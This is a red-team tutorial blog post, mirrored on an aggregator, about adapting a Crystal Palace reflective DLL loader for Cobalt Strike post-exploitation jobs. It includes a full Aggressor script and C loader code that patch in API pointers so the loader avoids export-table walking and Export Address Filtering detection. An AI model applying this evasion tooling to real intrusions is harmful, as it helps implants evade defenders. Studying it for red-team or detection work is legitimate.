Harvesting the Tradecraft Garden - Part 2
这篇文章介绍了如何使用Cobalt Strike生成自定义反射式加载器,并通过POSTEX_RDLL_GENERATE钩子获取GetModuleHandle和GetProcAddress指针以避免遍历导出地址表(EAT)。文章还详细说明了如何修改加载器以兼容Cobalt Strike,并展示了如何处理.rdata节和调用DLL入口点。 2025-6-10 20:36:48 Author: rastamouse.me(查看原文) 阅读量:19 收藏

Intro

In my previous post, we had a look at the Tradecraft Garden by integrating one of its PIC reflective loaders into a Beacon payload. One of the features I mentioned was that of passing additional arguments variables to Crystal Palace during its linking process. The example I cited was the guardrail loader, which uses a user-supplied key to encrypt the embedded resources. However, I stopped short of providing a practical example because it was 01:30 when I wrote it... The purpose of this post is to go back and provide an example using the pointer patching loader.

A reflective loader needs to resolve the function pointers of commonly-used Windows APIs required to load and execute whatever it's loading. These typically include VirtualAlloc, LoadLibrary, and perhaps VirtualProtect. Most loaders achieve this by walking the PE's Export Address Table (EAT) until they find function pointers for GetModuleHandle and GetProcAddress, and then use these two APIs to resolve the addresses of all the other required APIs.

Post-ex reflective loader

The availability of behavioural analysis and protections like Export Address Filtering (EAF) may require you to stay away from walking the EAT. To that end, Cobalt Strike provides an Aggressor hook called POSTEX_RDLL_GENERATE, which is called when a user executes a post-ex command that relies on a post-ex DLL (such as execute-assembly, powerpick, psinject, etc).

The hook passes two interesting arguments:

  • $5 - GetModuleHandle pointer
  • $6 - GetProcAddress pointer

These pointers actually come from the parent Beacon and this works because the base address of DLLs like kernel32 are fixed until the computer is rebooted. You can therefore be confident that the pointers for GetModuleHandle and GetProcAddress will be the same in every process. This allows these function pointers to be patched directly into the reflective loader so that it doesn't need to walk the EAT to find them.

The specification file for this loader requires the pointers be passed using the names "$GMH" and "$GPA". Note that Sleep's cast function is required to cast the arguments into a native Java byte array.

$hashMap = [new HashMap];

[$hashMap put: "\$GMH", cast($5, 'b')];
[$hashMap put: "\$GPA", cast($6, 'b')];

postex-udrl.cna

My full aggressor script looks like this:

import crystalpalace.spec.* from: crystalpalace.jar;
import java.util.HashMap;

sub print_info {
   println(formatDate("[HH:mm:ss] ") . "\cE[Crystal Palace]\o " . $1);
}

print_info("simple_rdll_patch loaded");

# ------------------------------------
# $1 = DLL file name
# $2 = DLL content
# $3 = arch
# $4 = parent Beacon ID
# $5 = GetModuleHandle pointer
# $6 = GetProcAddress pointer
# ------------------------------------
set POSTEX_RDLL_GENERATE {
   
   local('$postex $arch $file_path $spec $hashMap $final');
   
   $postex = $2;
   $arch = $3;
   
   print_info("Running 'POSTEX_RDLL_GENERATE' for " . $1 . " with architecture " . $3);

    # get path to spec file
    $file_path = getFileProper(script_resource("garden"), "simple_rdll_patch", "loader.spec");

    # parse that spec
    print_info("Calling LinkSpec.Parse");
    $spec = [LinkSpec Parse: $file_path];

    # build hashmap
    $hashMap = [new HashMap];

    # add function pointers
    [$hashMap put: "\$GMH", cast($5, 'b')];
    [$hashMap put: "\$GPA", cast($6, 'b')];

    print_info("HashMap: " . $hashMap);

    # apply spec
    print_info("Calling spec.run");

    $final = [$spec run: $postex, $hashMap];

    if (strlen($final) == 0) {
        warn("Failed to build package");
        return $null;
    }

    print_info("Final Size: " . strlen($final));

    # return the new loader + dll
    return $final;
}

postex-udrl.cna

Modding the loader

We're not done yet because like in the previous post, the garden's loaders are not designed to be used specifically with Cobalt Strike, so we need to make some changes to make them compatible. These come from the Post-ex User Defined Reflective DLL Loader documentation.

The first is changing the function prototype for ReflectiveLoader() from void ReflectiveLoader(); to void ReflectiveLoader(void* loaderArgument);. This is required so that any arguments provided by the user for the command in the Cobalt Strike client can be passed to the post-ex DLL after it has been loaded into memory.

The second is to resolve the location of the .rdata section and pass it to the post-ex DLL via a pointer to a RDATA_SECTION struct. This is optional, but it does allow some post-ex DLLs to obfuscate their own read-only data.

typedef struct {
   char* start; // The start address of the .rdata section
   DWORD length; // The length (Size of Raw Data) of the .rdata section
   DWORD offset; // The obfuscation start offset
} RDATA_SECTION, *PRDATA_SECTION;

loader.h

I ended up doing this in the LoadSections method because we're already there looping through the sections.

void LoadSections(IMPORTFUNCS * funcs, DLLDATA * dll, char * src, char * dst, RDATA * rdata) {
	DWORD                   numberOfSections = dll->NtHeaders->FileHeader.NumberOfSections;
	IMAGE_SECTION_HEADER  * sectionHdr       = NULL;
	void                  * sectionDst       = NULL;
	void                  * sectionSrc       = NULL;

	/* our first section! */
	sectionHdr = (IMAGE_SECTION_HEADER *)PTR_OFFSET(dll->OptionalHeader, dll->NtHeaders->FileHeader.SizeOfOptionalHeader);

	for (int x = 0; x < numberOfSections; x++) {
		/* our source data to copy from */
		sectionSrc = src + sectionHdr->PointerToRawData;

		/* our destination data */
		sectionDst = dst + sectionHdr->VirtualAddress;

		/* copy our section data over */
		__movsb((unsigned char *)sectionDst, (unsigned char *)sectionSrc, sectionHdr->SizeOfRawData);

        /* is this .rdata? */
		char name[IMAGE_SIZEOF_SHORT_NAME + 1] = {0};
		__movsb(name, sectionHdr->Name, IMAGE_SIZEOF_SHORT_NAME);

		if (funcs->strncmp(name, ".rdata", IMAGE_SIZEOF_SHORT_NAME) == 0) {
			rdata->start = sectionDst;
			rdata->length = sectionHdr->SizeOfRawData;
			rdata->offset = dll->NtHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IAT].Size;
        }

		/* advance to our next section */
		sectionHdr++;
	}
}

loader.h

RDATA rdata = { 0 };
LoadDLL((IMPORTFUNCS *)&funcs, &data, src, dst, &rdata);

...

loader.c

This did also require me to add strncmp into the findNeededFunctions method.

hModule = (char *)pGetModuleHandle("MSVCRT");
funcs->strncmp = (__typeof__(strncmp) *)   pGetProcAddress(hModule, "strncmp");

loader.c

After that, all that's left is to resolve the entry point and call it twice.

DLLMAIN_FUNC entryPoint = EntryPoint(&data, dst);

entryPoint((HINSTANCE)dst, DLL_PROCESS_ATTACH, &rdata);
entryPoint((HINSTANCE)src, 4, loaderArgument);

loader.c

Conclusion

Hopefully this was an interesting example to demonstrate this feature of Crystal Palace. You can also implement this in the BEACON_RDLL_GENERATE_LOCAL hook.

Another shoutout to Raphael Mudge for creating such an interesting project.


文章来源: https://rastamouse.me/harvesting-the-tradecraft-garden-part-2/
如有侵权请联系:admin#unsafe.sh